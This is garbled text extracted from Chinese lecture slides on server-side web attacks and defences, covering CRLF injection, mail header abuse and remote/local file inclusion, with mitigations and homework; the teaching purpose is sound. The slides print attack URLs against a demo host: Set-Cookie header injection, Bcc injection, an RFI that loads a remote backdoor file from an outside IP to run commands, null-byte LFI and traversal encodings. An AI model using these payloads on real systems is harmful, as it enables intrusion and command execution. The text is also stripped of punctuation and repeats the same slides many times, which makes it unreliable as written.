22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 6: 伺服器端攻擊與防禦II

12 Carriage Return Injection(13)

bull Carriage Return Injection(CRLF Injection) 簡介

ndash CRLF 為兩個字元「rn」 「r」CR(Carriage Return) 16 進位編碼為

0x0d 「n」 LF(Line Feed) 16 進位編碼為 0x0a

ndash 在利用這類斷行符號的應用中若沒做好過濾可能產生安全隱憂

bull 範例 如紀錄檔

ndash httpwwwhackdemocomclass2CRLFLogphpuser=taien0aE4

BDBFE794A8E88085E799BBE585A5E5A4

B1E6959720hacker

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 7: 伺服器端攻擊與防禦II

12 Carriage Return Injection(23)

bull PHP442 與 512 以限定單一 header

bull 攻擊影響

ndash 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)

ndash 郵件濫用

ndash 指定 Session Id

ndash 可關閉 IE XSS Filter

bull X-XSS-Protection 0

ndash hellip

bull 範例

ndash 攻擊網址

bull httpwwwhackdemocomclass2CRLFphpurl=wwwhackdemoco

m0D0ASet-Cookie PHPSESSION=hackedmax-

age=10000000path=

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 8: 伺服器端攻擊與防禦II

12 Carriage Return Injection(33)

bull 解決方案

ndash 黑名單消毒

bull 去除 CR 與 LF

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 9: 伺服器端攻擊與防禦II

2濫用案例

簡訊濫用電子郵件濫用

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

bull 某知名公告系統(lt130)變數覆蓋

34 檔案或資源匯入安全 ndash 實際案例(45)

bull 知名開源專案 - Phorum(httpwwwphorumorg)

34 檔案或資源匯入安全 ndash 實際案例(55)

那一年地下網管

弱點揭露資料庫

bull Exploit-DB

ndash wwwexploit-dbcom

bull WooYunorg

ndash wwwwooyunorg

bull Sebug漏洞信息庫

ndash sebugnet

作業

bull 查詢自己在專案中使用的套件是否有弱點

bull 檢查自己案子是否有 Command Injection 嘗試解決並分享

bull 檢查自己案子是否有濫用案例裡的情節或其他

bull 檢查自己案子是否有 RFI 或 LFI 試解決並分享

參考資料

bull 吳翰清 網路竟然這麼危險(白帽子讲Web安全) 2012

bull 柯志杰譯 網頁程式駭客攻防實戰以PHP為例 2007

bull OWASP OWASP Testing Guide v30

bull Gynvael Coldwind PHP LFI to arbitratry code execution via rfc1867 file

upload temporary files 2011

bull Cb520 ANN公告系統漏洞 2007

bull Exploit-DB

Page 10: 伺服器端攻擊與防禦II

21 簡訊濫用(12)

21 簡訊濫用(22)

bull 解決方案

ndash 發送紀錄

ndash 限制同 IP 發送次數與同電話發送限制

ndash 驗證碼檢查

ndash Referer 檢查

bull PHP 新的版本已經預設一個 header 只能有一標頭命令

22 郵件濫用(12)

bull PHP 中的 mail() 與 mb_send_mail()透過換行或逗號對任意使用者傳送信件

bull 攻擊效果 竄改信件標頭

ndash From taiennethackgmailcom

ndash Bcc taienvipgmailcom taien_wanghiiircom

bull 範例

ndash 正常網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mailampfrom=taiennethackgmailcom

ndash 攻擊網址

bull httpwwwhackdemocomclass2mailphpto=taienabccomampsubject=titleampbody=

mail+injectionampfrom=taiennethackgmailcom0d0aBCC3A2ctaienvipgmail

com2ctaien_wanghiiircom

22 郵件濫用(22)

bull 解決方案

ndash To From 需符合 Mail 格式或考慮使用白名單

ndash 限制同一 IP 使用次數

ndash 同 CRLF 防禦

bull 黑名單消毒

ndash 去除 CR 與 LF

3檔案或資源匯入安全(File Inclusion)

Remote File InclusionLocal File Inclusion

3 檔案或資源匯入安全

bull 依據引入來源一般可分為本地及遠端

ndash 本地檔案引入弱點(Local File Inclusion)

ndash 遠端檔案引入弱點(Remote File Inclusion)

bull 各語言常見函數

ndash PHP

bull include() include_once() require() require_once() fopen()

readfile()hellip

ndash JSPServlet

bull AvaioFile() javaioFileReader()

ndash ASP

bull Include file include virtual hellip

31 檔案或資源匯入安全 ndash 利用條件

bull 遠端檔案引入弱點(Remote File Inclusion)利用條件

bull allow_url_fopen (php 4x)

bull allow_url_include (php 52x)

ndash 或

bull register_globals 開啟造成變數覆蓋

bull 其他有可能造成變數覆蓋的函數

32 檔案或資源匯入安全 ndash 攻擊手法(15)

bull 試想以下程式碼有什麼問題 怎麼攻擊

32 檔案或資源匯入安全 ndash 攻擊手法(25)

bull 通用技巧

ndash 0位元截斷(0 00)

ndash

bull 本地端引入技巧

ndash 超長字串

bull Windows 超過 256 位元組

bull Linux 超過 4096 位元組

32 檔案或資源匯入安全 ndash 攻擊手法(35)

bull 目錄遊走(Directory Traversal)攻擊

bull

bull 一些變形

編碼 等同

2e2e2f

2e2e

2f

2e2e5c

2e2e

5c

252e252e255c

255c

32 檔案或資源匯入安全 ndash 攻擊手法(45)

bull 本地端引入技巧

ndash 使用者上傳檔案

ndash session暫存檔案

ndash 記錄檔 access log

ndash 上傳暫存檔案 RFC 1867

ndash procselfenviron web執行緒的環境變數

ndash data或 phpinput 等擬真通訊協定

ndash 應用程式建立的檔案(資料庫檔案 快取檔案 應用記錄檔hellip)

32 檔案或資源匯入安全 ndash 攻擊手法(55)

bull 攻擊範例

ndash RFIphp

bull httpwwwhackdemocomclass2RFIphppath=http16313200164~taien

doortxtampcmd=dir

bull httpwwwhackdemocomclass2RFIphpgpath=http16313200164~taie

ndoortxtampcmd=dir

ndash RFISplitphp

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt

bull httpwwwhackdemocomclass2RFISplitphpcmd=dirampgpath=http16313

200164~taiendoortxt00

ndash LFIphp

bull httpwwwhackdemocomclass2LFIphplog=fail

bull httpwwwhackdemocomclass2LFIphplog=failsecrettxt00

33 檔案或資源匯入安全 ndash 解決方案

bull 解決方案

ndash 白名單

ndash 黑名單

bull 過濾不正常字串

bull basename()

ndash 系統設定

bull PHPini

ndash allow_url_fopen off

ndash allow_url_include off

ndash register_globals off

ndash open_basedir

raquo Windows 多目錄設定rdquo分號rdquo

raquo Linux 多目錄設定rdquo冒號rdquo

bull Apache

ltDirectory hometaiengt

php_admin_flag allow_url_fopen off

ltDirectorygt

34 檔案或資源匯入安全 ndash 實際案例(15)

bull 知名公告系統 - ANN 公告系統(httpnextimebyethost4com)

34 檔案或資源匯入安全 ndash 實際案例(25)

bull 某知名公告系統(lt130)遠端檔案引入

34 檔案或資源匯入安全 ndash 實際案例(35)

